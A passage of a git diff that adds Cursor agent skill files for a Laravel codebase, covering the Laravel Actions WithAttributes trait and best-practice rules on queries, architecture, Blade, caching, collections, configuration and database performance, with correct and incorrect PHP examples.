+- Queue worker/config mismatch.
+- Listener mapping not loaded.
+- Command signature mismatch.
+- Command not registered in the console kernel.
+
+## Debug checklist
+
+- Reproduce with a focused failing test.
+- Validate wiring layer first, then domain behavior.
+- Isolate dependencies with fakes/spies where appropriate.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/with-attributes.md b/.cursor/skills/laravel-actions/references/with-attributes.md
new file mode 100644
index 000000000..1b28cf2cb
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/with-attributes.md
@@ -0,0 +1,189 @@
+# With Attributes (`WithAttributes` trait)
+
+## Scope
+
+Use this reference when an action stores and validates input via internal attributes instead of method arguments.
+
+## Recap
+
+- Documents attribute lifecycle APIs (`setRawAttributes`, `fill`, `fillFromRequest`, readers/writers).
+- Clarifies behavior of key collisions (`fillFromRequest`: request data wins over route params).
+- Lists validation/authorization hooks reused from controller validation pipeline.
+- Includes end-to-end example from fill to `validateAttributes()` and `handle(...)`.
+
+## Methods provided (`WithAttributes` trait)
+
+### `setRawAttributes`
+
+Replaces all attributes with the provided payload.
+
+```php
+$action->setRawAttributes([
+ 'key' => 'value',
+]);
+```
+
+### `fill`
+
+Merges provided attributes into existing attributes.
+
+```php
+$action->fill([
+ 'key' => 'value',
+]);
+```
+
+### `fillFromRequest`
+
+Merges request input and route parameters into attributes. Request input has priority over route parameters when keys collide.
+
+```php
+$action->fillFromRequest($request);
+```
+
+### `all`
+
+Returns all attributes.
+
+```php
+$action->all();
+```
+
+### `only`
+
+Returns attributes matching the provided keys.
+
+```php
+$action->only('title', 'body');
+```
+
+### `except`
+
+Returns attributes excluding the provided keys.
+
+```php
+$action->except('body');
+```
+
+### `has`
+
+Returns whether an attribute exists for the given key.
+
+```php
+$action->has('title');
+```
+
+### `get`
+
+Returns the attribute value by key, with optional default.
+
+```php
+$action->get('title');
+$action->get('title', 'Untitled');
+```
+
+### `set`
+
+Sets an attribute value by key.
+
+```php
+$action->set('title', 'My blog post');
+```
+
+### `__get`
+
+Accesses attributes as object properties.
+
+```php
+$action->title;
+```
+
+### `__set`
+
+Updates attributes as object properties.
+
+```php
+$action->title = 'My blog post';
+```
+
+### `__isset`
+
+Checks attribute existence as object properties.
+
+```php
+isset($action->title);
+```
+
+### `validateAttributes`
+
+Runs authorization and validation using action attributes and returns validated data.
+
+```php
+$validatedData = $action->validateAttributes();
+```
+
+## Methods used (`AttributeValidator`)
+
+`WithAttributes` uses the same authorization/validation hooks as `AsController`:
+
+- `prepareForValidation`
+- `authorize`
+- `rules`
+- `withValidator`
+- `afterValidator`
+- `getValidator`
+- `getValidationData`
+- `getValidationMessages`
+- `getValidationAttributes`
+- `getValidationRedirect`
+- `getValidationErrorBag`
+- `getValidationFailure`
+- `getAuthorizationFailure`
+
+## Example
+
+```php
+class CreateArticle
+{
+ use AsAction;
+ use WithAttributes;
+
+ public function rules(): array
+ {
+ return [
+ 'title' => ['required', 'string', 'min:8'],
+ 'body' => ['required', 'string'],
+ ];
+ }
+
+ public function handle(array $attributes): Article
+ {
+ return Article::create($attributes);
+ }
+}
+
+$action = CreateArticle::make()->fill([
+ 'title' => 'My first post',
+ 'body' => 'Hello world',
+]);
+
+$validated = $action->validateAttributes();
+$article = $action->handle($validated);
+```
+
+## Checklist
+
+- Attribute keys are explicit and stable.
+- Validation rules match expected attribute shape.
+- `validateAttributes()` is called before side effects when needed.
+- Validation/authorization hooks are tested in focused unit tests.
+
+## Common pitfalls
+
+- Mixing attribute-based and argument-based flows inconsistently in the same action.
+- Assuming route params override request input in `fillFromRequest` (they do not).
+- Skipping `validateAttributes()` when using external input.
+
+## References
+
+- https://www.laravelactions.com/2.x/with-attributes.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/SKILL.md b/.cursor/skills/laravel-best-practices/SKILL.md
new file mode 100644
index 000000000..99018f3ae
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/SKILL.md
@@ -0,0 +1,190 @@
+---
+name: laravel-best-practices
+description: "Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Best Practices
+
+Best practices for Laravel, prioritized by impact. Each rule teaches what to do and why. For exact API syntax, verify with `search-docs`.
+
+## Consistency First
+
+Before applying any rule, check what the application already does. Laravel offers multiple valid approaches — the best choice is the one the codebase already uses, even if another pattern would be theoretically better. Inconsistency is worse than a suboptimal pattern.
+
+Check sibling files, related controllers, models, or tests for established patterns. If one exists, follow it — don't introduce a second way. These rules are defaults for when no pattern exists yet, not overrides.
+
+## Quick Reference
+
+### 1. Database Performance → `rules/db-performance.md`
+
+- Eager load with `with()` to prevent N+1 queries
+- Enable `Model::preventLazyLoading()` in development
+- Select only needed columns, avoid `SELECT *`
+- `chunk()` / `chunkById()` for large datasets
+- Index columns used in `WHERE`, `ORDER BY`, `JOIN`
+- `withCount()` instead of loading relations to count
+- `cursor()` for memory-efficient read-only iteration
+- Never query in Blade templates
+
+### 2. Advanced Query Patterns → `rules/advanced-queries.md`
+
+- `addSelect()` subqueries over eager-loading entire has-many for a single value
+- Dynamic relationships via subquery FK + `belongsTo`
+- Conditional aggregates (`CASE WHEN` in `selectRaw`) over multiple count queries
+- `setRelation()` to prevent circular N+1 queries
+- `whereIn` + `pluck()` over `whereHas` for better index usage
+- Two simple queries can beat one complex query
+- Compound indexes matching `orderBy` column order
+- Correlated subqueries in `orderBy` for has-many sorting (avoid joins)
+
+### 3. Security → `rules/security.md`
+
+- Define `$fillable` or `$guarded` on every model, authorize every action via policies or gates
+- No raw SQL with user input — use Eloquent or query builder
+- `{{ }}` for output escaping, `@csrf` on all POST/PUT/DELETE forms, `throttle` on auth and API routes
+- Validate MIME type, extension, and size for file uploads
+- Never commit `.env`, use `config()` for secrets, `encrypted` cast for sensitive DB fields
+
+### 4. Caching → `rules/caching.md`
+
+- `Cache::remember()` over manual get/put
+- `Cache::flexible()` for stale-while-revalidate on high-traffic data
+- `Cache::memo()` to avoid redundant cache hits within a request
+- Cache tags to invalidate related groups
+- `Cache::add()` for atomic conditional writes
+- `once()` to memoize per-request or per-object lifetime
+- `Cache::lock()` / `lockForUpdate()` for race conditions
+- Failover cache stores in production
+
+### 5. Eloquent Patterns → `rules/eloquent.md`
+
+- Correct relationship types with return type hints
+- Local scopes for reusable query constraints
+- Global scopes sparingly — document their existence
+- Attribute casts in the `casts()` method
+- Cast date columns, use Carbon instances in templates
+- `whereBelongsTo($model)` for cleaner queries
+- Never hardcode table names — use `(new Model)->getTable()` or Eloquent queries
+
+### 6. Validation & Forms → `rules/validation.md`
+
+- Form Request classes, not inline validation
+- Array notation `['required', 'email']` for new code; follow existing convention
+- `$request->validated()` only — never `$request->all()`
+- `Rule::when()` for conditional validation
+- `after()` instead of `withValidator()`
+
+### 7. Configuration → `rules/config.md`
+
+- `env()` only inside config files
+- `App::environment()` or `app()->isProduction()`
+- Config, lang files, and constants over hardcoded text
+
+### 8. Testing Patterns → `rules/testing.md`
+
+- `LazilyRefreshDatabase` over `RefreshDatabase` for speed
+- `assertModelExists()` over raw `assertDatabaseHas()`
+- Factory states and sequences over manual overrides
+- Use fakes (`Event::fake()`, `Exceptions::fake()`, etc.) — but always after factory setup, not before
+- `recycle()` to share relationship instances across factories
+
+### 9. Queue & Job Patterns → `rules/queue-jobs.md`
+
+- `retry_after` must exceed job `timeout`; use exponential backoff `[1, 5, 10]`
+- `ShouldBeUnique` to prevent duplicates; `WithoutOverlapping::untilProcessing()` for concurrency
+- Always implement `failed()`; with `retryUntil()`, set `$tries = 0`
+- `RateLimited` middleware for external API calls; `Bus::batch()` for related jobs
+- Horizon for complex multi-queue scenarios
+
+### 10. Routing & Controllers → `rules/routing.md`
+
+- Implicit route model binding
+- Scoped bindings for nested resources
+- `Route::resource()` or `apiResource()`
+- Methods under 10 lines — extract to actions/services
+- Type-hint Form Requests for auto-validation
+
+### 11. HTTP Client → `rules/http-client.md`
+
+- Explicit `timeout` and `connectTimeout` on every request
+- `retry()` with exponential backoff for external APIs
+- Check response status or use `throw()`
+- `Http::pool()` for concurrent independent requests
+- `Http::fake()` and `preventStrayRequests()` in tests
+
+### 12. Events, Notifications & Mail → `rules/events-notifications.md`, `rules/mail.md`
+
+- Event discovery over manual registration; `event:cache` in production
+- `ShouldDispatchAfterCommit` / `afterCommit()` inside transactions
+- Queue notifications and mailables with `ShouldQueue`
+- On-demand notifications for non-user recipients
+- `HasLocalePreference` on notifiable models
+- `assertQueued()` not `assertSent()` for queued mailables
+- Markdown mailables for transactional emails
+
+### 13. Error Handling → `rules/error-handling.md`
+
+- `report()`/`render()` on exception classes or in `bootstrap/app.php` — follow existing pattern
+- `ShouldntReport` for exceptions that should never log
+- Throttle high-volume exceptions to protect log sinks
+- `dontReportDuplicates()` for multi-catch scenarios
+- Force JSON rendering for API routes
+- Structured context via `context()` on exception classes
+
+### 14. Task Scheduling → `rules/scheduling.md`
+
+- `withoutOverlapping()` on variable-duration tasks
+- `onOneServer()` on multi-server deployments
+- `runInBackground()` for concurrent long tasks
+- `environments()` to restrict to appropriate environments
+- `takeUntilTimeout()` for time-bounded processing
+- Schedule groups for shared configuration
+
+### 15. Architecture → `rules/architecture.md`
+
+- Single-purpose Action classes; dependency injection over `app()` helper
+- Prefer official Laravel packages and follow conventions, don't override defaults
+- Default to `ORDER BY id DESC` or `created_at DESC`; `mb_*` for UTF-8 safety
+- `defer()` for post-response work; `Context` for request-scoped data; `Concurrency::run()` for parallel execution
+
+### 16. Migrations → `rules/migrations.md`
+
+- Generate migrations with `php artisan make:migration`
+- `constrained()` for foreign keys
+- Never modify migrations that have run in production
+- Add indexes in the migration, not as an afterthought
+- Mirror column defaults in model `$attributes`
+- Reversible `down()` by default; forward-fix migrations for intentionally irreversible changes
+- One concern per migration — never mix DDL and DML
+
+### 17. Collections → `rules/collections.md`
+
+- Higher-order messages for simple collection operations
+- `cursor()` vs. `lazy()` — choose based on relationship needs
+- `lazyById()` when updating records while iterating
+- `toQuery()` for bulk operations on collections
+
+### 18. Blade & Views → `rules/blade-views.md`
+
+- `$attributes->merge()` in component templates
+- Blade components over `@include`; `@pushOnce` for per-component scripts
+- View Composers for shared view data
+- `@aware` for deeply nested component props
+
+### 19. Conventions & Style → `rules/style.md`
+
+- Follow Laravel naming conventions for all entities
+- Prefer Laravel helpers (`Str`, `Arr`, `Number`, `Uri`, `Str::of()`, `$request->string()`) over raw PHP functions
+- No JS/CSS in Blade, no HTML in PHP classes
+- Code should be readable; comments only for config files
+
+## How to Apply
+
+Always use a sub-agent to read rule files and explore this skill's content.
+
+1. Identify the file type and select relevant sections (e.g., migration → §16, controller → §1, §3, §5, §6, §10)
+2. Check sibling files for existing patterns — follow those first per Consistency First
+3. Verify API syntax with `search-docs` for the installed Laravel version
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/advanced-queries.md b/.cursor/skills/laravel-best-practices/rules/advanced-queries.md
new file mode 100644
index 000000000..920714a14
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/advanced-queries.md
@@ -0,0 +1,106 @@
+# Advanced Query Patterns
+
+## Use `addSelect()` Subqueries for Single Values from Has-Many
+
+Instead of eager-loading an entire has-many relationship for a single value (like the latest timestamp), use a correlated subquery via `addSelect()`. This pulls the value directly in the main SQL query — zero extra queries.
+
+```php
+public function scopeWithLastLoginAt($query): void
+{
+ $query->addSelect([
+ 'last_login_at' => Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->withCasts(['last_login_at' => 'datetime']);
+}
+```
+
+## Create Dynamic Relationships via Subquery FK
+
+Extend the `addSelect()` pattern to fetch a foreign key via subquery, then define a `belongsTo` relationship on that virtual attribute. This provides a fully-hydrated related model without loading the entire collection.
+
+```php
+public function lastLogin(): BelongsTo
+{
+ return $this->belongsTo(Login::class);
+}
+
+public function scopeWithLastLogin($query): void
+{
+ $query->addSelect([
+ 'last_login_id' => Login::select('id')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->with('lastLogin');
+}
+```
+
+## Use Conditional Aggregates Instead of Multiple Count Queries
+
+Replace N separate `count()` queries with a single query using `CASE WHEN` inside `selectRaw()`. Use `toBase()` to skip model hydration when you only need scalar values.
+
+```php
+$statuses = Feature::toBase()
+ ->selectRaw("count(case when status = 'Requested' then 1 end) as requested")
+ ->selectRaw("count(case when status = 'Planned' then 1 end) as planned")
+ ->selectRaw("count(case when status = 'Completed' then 1 end) as completed")
+ ->first();
+```
+
+## Use `setRelation()` to Prevent Circular N+1
+
+When a parent model is eager-loaded with its children, and the view also needs `$child->parent`, use `setRelation()` to inject the already-loaded parent rather than letting Eloquent fire N additional queries.
+
+```php
+$feature->load('comments.user');
+$feature->comments->each->setRelation('feature', $feature);
+```
+
+## Prefer `whereIn` + Subquery Over `whereHas`
+
+`whereHas()` emits a correlated `EXISTS` subquery that re-executes per row. Using `whereIn()` with a `select('id')` subquery lets the database use an index lookup instead, without loading data into PHP memory.
+
+Incorrect (correlated EXISTS re-executes per row):
+
+```php
+$query->whereHas('company', fn ($q) => $q->where('name', 'like', $term));
+```
+
+Correct (index-friendly subquery, no PHP memory overhead):
+
+```php
+$query->whereIn('company_id', Company::where('name', 'like', $term)->select('id'));
+```
+
+## Sometimes Two Simple Queries Beat One Complex Query
+
+Running a small, targeted secondary query and passing its results via `whereIn` is often faster than a single complex correlated subquery or join. The additional round-trip is worthwhile when the secondary query is highly selective and uses its own index.
+
+## Use Compound Indexes Matching `orderBy` Column Order
+
+When ordering by multiple columns, create a single compound index in the same column order as the `ORDER BY` clause. Individual single-column indexes cannot combine for multi-column sorts — the database will filesort without a compound index.
+
+```php
+// Migration
+$table->index(['last_name', 'first_name']);
+
+// Query — column order must match the index
+User::query()->orderBy('last_name')->orderBy('first_name')->paginate();
+```
+
+## Use Correlated Subqueries for Has-Many Ordering
+
+When sorting by a value from a has-many relationship, avoid joins (they duplicate rows). Use a correlated subquery inside `orderBy()` instead, paired with an `addSelect` scope for eager loading.
+
+```php
+public function scopeOrderByLastLogin($query): void
+{
+ $query->orderByDesc(Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1)
+ );
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/architecture.md b/.cursor/skills/laravel-best-practices/rules/architecture.md
new file mode 100644
index 000000000..165056422
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/architecture.md
@@ -0,0 +1,202 @@
+# Architecture Best Practices
+
+## Single-Purpose Action Classes
+
+Extract discrete business operations into invokable Action classes.
+
+```php
+class CreateOrderAction
+{
+ public function __construct(private InventoryService $inventory) {}
+
+ public function execute(array $data): Order
+ {
+ $order = Order::create($data);
+ $this->inventory->reserve($order);
+
+ return $order;
+ }
+}
+```
+
+## Use Dependency Injection
+
+Always use constructor injection. Avoid `app()` or `resolve()` inside classes.
+
+Incorrect:
+```php
+class OrderController extends Controller
+{
+ public function store(StoreOrderRequest $request)
+ {
+ $service = app(OrderService::class);
+
+ return $service->create($request->validated());
+ }
+}
+```
+
+Correct:
+```php
+class OrderController extends Controller
+{
+ public function __construct(private OrderService $service) {}
+
+ public function store(StoreOrderRequest $request)
+ {
+ return $this->service->create($request->validated());
+ }
+}
+```
+
+## Code to Interfaces
+
+Depend on contracts at system boundaries (payment gateways, notification channels, external APIs) for testability and swappability.
+
+Incorrect (concrete dependency):
+```php
+class OrderService
+{
+ public function __construct(private StripeGateway $gateway) {}
+}
+```
+
+Correct (interface dependency):
+```php
+interface PaymentGateway
+{
+ public function charge(int $amount, string $customerId): PaymentResult;
+}
+
+class OrderService
+{
+ public function __construct(private PaymentGateway $gateway) {}
+}
+```
+
+Bind in a service provider:
+
+```php
+$this->app->bind(PaymentGateway::class, StripeGateway::class);
+```
+
+## Default Sort by Descending
+
+When no explicit order is specified, sort by `id` or `created_at` descending. Explicit ordering prevents cross-database inconsistencies between MySQL and Postgres.
+
+Incorrect:
+```php
+$posts = Post::paginate();
+```
+
+Correct:
+```php
+$posts = Post::latest()->paginate();
+```
+
+## Use Atomic Locks for Race Conditions
+
+Prevent race conditions with `Cache::lock()` or `lockForUpdate()`.
+
+```php
+Cache::lock('order-processing-'.$order->id, 10)->block(5, function () use ($order) {
+ $order->process();
+});
+
+// Or at query level
+$product = Product::where('id', $id)->lockForUpdate()->first();
+```
+
+## Use `mb_*` String Functions
+
+When no Laravel helper exists, prefer `mb_strlen`, `mb_strtolower`, etc. for UTF-8 safety. Standard PHP string functions count bytes, not characters.
+
+Incorrect:
+```php
+strlen('José'); // 5 (bytes, not characters)
+strtolower('MÜNCHEN'); // 'mÜnchen' — fails on multibyte
+```
+
+Correct:
+```php
+mb_strlen('José'); // 4 (characters)
+mb_strtolower('MÜNCHEN'); // 'münchen'
+
+// Prefer Laravel's Str helpers when available
+Str::length('José'); // 4
+Str::lower('MÜNCHEN'); // 'münchen'
+```
+
+## Use `defer()` for Post-Response Work
+
+For lightweight tasks that don't need to survive a crash (logging, analytics, cleanup), use `defer()` instead of dispatching a job. The callback runs after the HTTP response is sent — no queue overhead.
+
+Incorrect (job overhead for trivial work):
+```php
+dispatch(new LogPageView($page));
+```
+
+Correct (runs after response, same process):
+```php
+defer(fn () => PageView::create(['page_id' => $page->id, 'user_id' => auth()->id()]));
+```
+
+Use jobs when the work must survive process crashes or needs retry logic. Use `defer()` for fire-and-forget work.
+
+## Use `Context` for Request-Scoped Data
+
+The `Context` facade passes data through the entire request lifecycle — middleware, controllers, jobs, logs — without passing arguments manually.
+
+```php
+// In middleware
+Context::add('tenant_id', $request->header('X-Tenant-ID'));
+
+// Anywhere later — controllers, jobs, log context
+$tenantId = Context::get('tenant_id');
+```
+
+Context data automatically propagates to queued jobs and is included in log entries. Use `Context::addHidden()` for sensitive data that should be available in queued jobs but excluded from log context. If data must not leave the current process, do not store it in `Context`.
+
+## Use `Concurrency::run()` for Parallel Execution
+
+Run independent operations in parallel using child processes — no async libraries needed.
+
+```php
+use Illuminate\Support\Facades\Concurrency;
+
+[$users, $orders] = Concurrency::run([
+ fn () => User::count(),
+ fn () => Order::where('status', 'pending')->count(),
+]);
+```
+
+Each closure runs in a separate process with full Laravel access. Use for independent database queries, API calls, or computations that would otherwise run sequentially.
+
+## Convention Over Configuration
+
+Follow Laravel conventions. Don't override defaults unnecessarily.
+
+Incorrect:
+```php
+class Customer extends Model
+{
+ protected $table = 'Customer';
+ protected $primaryKey = 'customer_id';
+
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class, 'role_customer', 'customer_id', 'role_id');
+ }
+}
+```
+
+Correct:
+```php
+class Customer extends Model
+{
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class);
+ }
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/blade-views.md b/.cursor/skills/laravel-best-practices/rules/blade-views.md
new file mode 100644
index 000000000..c6f8aaf1e
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/blade-views.md
@@ -0,0 +1,36 @@
+# Blade & Views Best Practices
+
+## Use `$attributes->merge()` in Component Templates
+
+Hardcoding classes prevents consumers from adding their own. `merge()` combines class attributes cleanly.
+
+```blade
+merge(['class' => 'alert alert-'.$type]) }}>
+ {{ $message }}
+
+```
+
+## Use `@pushOnce` for Per-Component Scripts
+
+If a component renders inside a `@foreach`, `@push` inserts the script N times. `@pushOnce` guarantees it's included exactly once.
+
+## Prefer Blade Components Over `@include`
+
+`@include` shares all parent variables implicitly (hidden coupling). Components have explicit props, attribute bags, and slots.
+
+## Use View Composers for Shared View Data
+
+If every controller rendering a sidebar must pass `$categories`, that's duplicated code. A View Composer centralizes it.
+
+## Use Blade Fragments for Partial Re-Renders (htmx/Turbo)
+
+A single view can return either the full page or just a fragment, keeping routing clean.
+
+```php
+return view('dashboard', compact('users'))
+ ->fragmentIf($request->hasHeader('HX-Request'), 'user-list');
+```
+
+## Use `@aware` for Deeply Nested Component Props
+
+Avoids re-passing parent props through every level of nested components.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/caching.md b/.cursor/skills/laravel-best-practices/rules/caching.md
new file mode 100644
index 000000000..eb3ef3e62
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/caching.md
@@ -0,0 +1,70 @@
+# Caching Best Practices
+
+## Use `Cache::remember()` Instead of Manual Get/Put
+
+Atomic pattern prevents race conditions and removes boilerplate.
+
+Incorrect:
+```php
+$val = Cache::get('stats');
+if (! $val) {
+ $val = $this->computeStats();
+ Cache::put('stats', $val, 60);
+}
+```
+
+Correct:
+```php
+$val = Cache::remember('stats', 60, fn () => $this->computeStats());
+```
+
+## Use `Cache::flexible()` for Stale-While-Revalidate
+
+On high-traffic keys, one user always gets a slow response when the cache expires. `flexible()` serves slightly stale data while refreshing in the background.
+
+Incorrect: `Cache::remember('users', 300, fn () => User::all());`
+
+Correct: `Cache::flexible('users', [300, 600], fn () => User::all());` — fresh for 5 min, stale-but-served up to 10 min, refreshes via deferred function.
+
+## Use `Cache::memo()` to Avoid Redundant Hits Within a Request
+
+If the same cache key is read multiple times per request (e.g., a service called from multiple places), `memo()` stores the resolved value in memory.
+
+`Cache::memo()->get('settings');` — 5 calls = 1 Redis round-trip instead of 5.
+
+## Use Cache Tags to Invalidate Related Groups
+
+Without tags, invalidating a group of entries requires tracking every key. Tags let you flush atomically. Only works with `redis`, `memcached`, `dynamodb` — not `file` or `database`.
+
+```php
+Cache::tags(['user-1'])->flush();
+```
+
+## Use `Cache::add()` for Atomic Conditional Writes
+
+`add()` only writes if the key does not exist — atomic, no race condition between checking and writing.
+
+Incorrect: `if (! Cache::has('lock')) { Cache::put('lock', true, 10); }`
+
+Correct: `Cache::add('lock', true, 10);`
+
+## Use `once()` for Per-Request Memoization
+
+`once()` memoizes a function's return value for the lifetime of the object (or request for closures). Unlike `Cache::memo()`, it doesn't hit the cache store at all — pure in-memory.
+
+```php
+public function roles(): Collection
+{
+ return once(fn () => $this->loadRoles());
+}
+```
+
+Multiple calls return the cached result without re-executing. Use `once()` for expensive computations called multiple times per request. Use `Cache::memo()` when you also want cross-request caching.
+
+## Configure Failover Cache Stores in Production
+
+If Redis goes down, the app falls back to a secondary store automatically.
+
+```php
+'failover' => ['driver' => 'failover', 'stores' => ['redis', 'database']],
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/collections.md b/.cursor/skills/laravel-best-practices/rules/collections.md
new file mode 100644
index 000000000..14f683d32
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/collections.md
@@ -0,0 +1,44 @@
+# Collection Best Practices
+
+## Use Higher-Order Messages for Simple Operations
+
+Incorrect:
+```php
+$users->each(function (User $user) {
+ $user->markAsVip();
+});
+```
+
+Correct: `$users->each->markAsVip();`
+
+Works with `each`, `map`, `sum`, `filter`, `reject`, `contains`, etc.
+
+## Choose `cursor()` vs. `lazy()` Correctly
+
+- `cursor()` — one model in memory, but cannot eager-load relationships (N+1 risk).
+- `lazy()` — chunked pagination returning a flat LazyCollection, supports eager loading.
+
+Incorrect: `User::with('roles')->cursor()` — eager loading silently ignored.
+
+Correct: `User::with('roles')->lazy()` for relationship access; `User::cursor()` for attribute-only work.
+
+## Use `lazyById()` When Updating Records While Iterating
+
+`lazy()` uses offset pagination — updating records during iteration can skip or double-process. `lazyById()` uses `id > last_id`, safe against mutation.
+
+## Use `toQuery()` for Bulk Operations on Collections
+
+Avoids manual `whereIn` construction.
+
+Incorrect: `User::whereIn('id', $users->pluck('id'))->update([...]);`
+
+Correct: `$users->toQuery()->update([...]);`
+
+## Use `#[CollectedBy]` for Custom Collection Classes
+
+More declarative than overriding `newCollection()`.
+
+```php
+#[CollectedBy(UserCollection::class)]
+class User extends Model {}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/config.md b/.cursor/skills/laravel-best-practices/rules/config.md
new file mode 100644
index 000000000..8fd8f536f
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/config.md
@@ -0,0 +1,73 @@
+# Configuration Best Practices
+
+## `env()` Only in Config Files
+
+Direct `env()` calls return `null` when config is cached.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'key' => env('API_KEY'),
+
+// Application code
+$key = config('services.key');
+```
+
+## Use Encrypted Env or External Secrets
+
+Never store production secrets in plain `.env` files in version control.
+
+Incorrect:
+```bash
+
+# .env committed to repo or shared in Slack
+
+STRIPE_SECRET=sk_live_abc123
+AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI
+```
+
+Correct:
+```bash
+php artisan env:encrypt --env=production --readable
+php artisan env:decrypt --env=production
+```
+
+For cloud deployments, prefer the platform's native secret store (AWS Secrets Manager, Vault, etc.) and inject at runtime.
+
+## Use `App::environment()` for Environment Checks
+
+Incorrect:
+```php
+if (env('APP_ENV') === 'production') {
+```
+
+Correct:
+```php
+if (app()->isProduction()) {
+// or
+if (App::environment('production')) {
+```
+
+## Use Constants and Language Files
+
+Use class constants instead of hardcoded magic strings for model states, types, and statuses.
+
+```php
+// Incorrect
+return $this->type === 'normal';
+
+// Correct
+return $this->type === self::TYPE_NORMAL;
+```
+
+If the application already uses language files for localization, use `__()` for user-facing strings too. Do not introduce language files purely for English-only apps — simple string literals are fine there.
+
+```php
+// Only when lang files already exist in the project
+return back()->with('message', __('app.article_added'));
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/db-performance.md b/.cursor/skills/laravel-best-practices/rules/db-performance.md
new file mode 100644
index 000000000..8fb719377
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/db-performance.md
@@ -0,0 +1,192 @@
+# Database Performance Best Practices
+
+## Always Eager Load Relationships
+
+Lazy loading causes N+1 query problems — one query per loop iteration. Always use `with()` to load relationships upfront.
+
+Incorrect (N+1 — executes 1 + N queries):
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Correct (2 queries total):
+```php
+$posts = Post::with('author')->get();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Constrain eager loads to select only needed columns (always include the foreign key):
+
+```php
+$users = User::with(['posts' => function ($query) {
+ $query->select('id', 'user_id', 'title')
+ ->where('published', true)
+ ->latest()
+ ->limit(10);
+}])->get();
+```
+
+## Prevent Lazy Loading in Development
+
+Enable this in `AppServiceProvider::boot()` to catch N+1 issues during development.
+
+```php
+public function boot(): void
+{
+ Model::preventLazyLoading(! app()->isProduction());
+}
+```
+
+Throws `LazyLoadingViolationException` when a relationship is accessed without being eager-loaded.
+
+## Select Only Needed Columns
+
+Avoid `SELECT *` — especially when tables have large text or JSON columns.
+
+Incorrect:
+```php
+$posts = Post::with('author')->get();
+```
+
+Correct:
+```php
+$posts = Post::select('id', 'title', 'user_id', 'created_at')
+ ->with(['author:id,name,avatar'])
+ ->get();
+```
+
+When selecting columns on eager-loaded relationships, always include the foreign key column or the relationship won't match.
+
+## Chunk Large Datasets
+
+Never load thousands of records at once. Use chunking for batch processing.
+
+Incorrect:
+```php
+$users = User::all();
+foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+}
+```
+
+Correct:
+```php
+User::where('subscribed', true)->chunk(200, function ($users) {
+ foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+ }
+});
+```
+
+Use `chunkById()` when modifying records during iteration — standard `chunk()` uses OFFSET which shifts when rows change:
+
+```php
+User::where('active', false)->chunkById(200, function ($users) {
+ $users->each->delete();
+});
+```
+
+## Add Database Indexes
+
+Index columns that appear in `WHERE`, `ORDER BY`, `JOIN`, and `GROUP BY` clauses.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->index()->constrained();
+ $table->string('status')->index();
+ $table->timestamps();
+ $table->index(['status', 'created_at']);
+});
+```
+
+Add composite indexes for common query patterns (e.g., `WHERE status = ? ORDER BY created_at`).
+
+## Use `withCount()` for Counting Relations
+
+Never load entire collections just to count them.
+
+Incorrect:
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->comments->count();
+}
+```
+
+Correct:
+```php
+$posts = Post::withCount('comments')->get();
+foreach ($posts as $post) {
+ echo $post->comments_count;
+}
+```
+
+Conditional counting:
+
+```php
+$posts = Post::withCount([
+ 'comments',
+ 'comments as approved_comments_count' => function ($query) {
+ $query->where('approved', true);
+ },
+])->get();
+```
+
+## Use `cursor()` for Memory-Efficient Iteration
+
+For read-only iteration over large result sets, `cursor()` loads one record at a time via a PHP generator.
+
+Incorrect:
+```php
+$users = User::where('active', true)->get();
+```
+
+Correct:
+```php
+foreach (User::where('active', true)->cursor() as $user) {
+ ProcessUser::dispatch($user->id);
+}
+```
+
+Use `cursor()` for read-only iteration. Use `chunk()` / `chunkById()` when modifying records.
+
+## No Queries in Blade Templates
+
+Never execute queries in Blade templates. Pass data from controllers.
+
+Incorrect:
+```blade
+@foreach (User::all() as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
+
+Correct:
+```php
+// Controller
+$users = User::with('profile')->get();
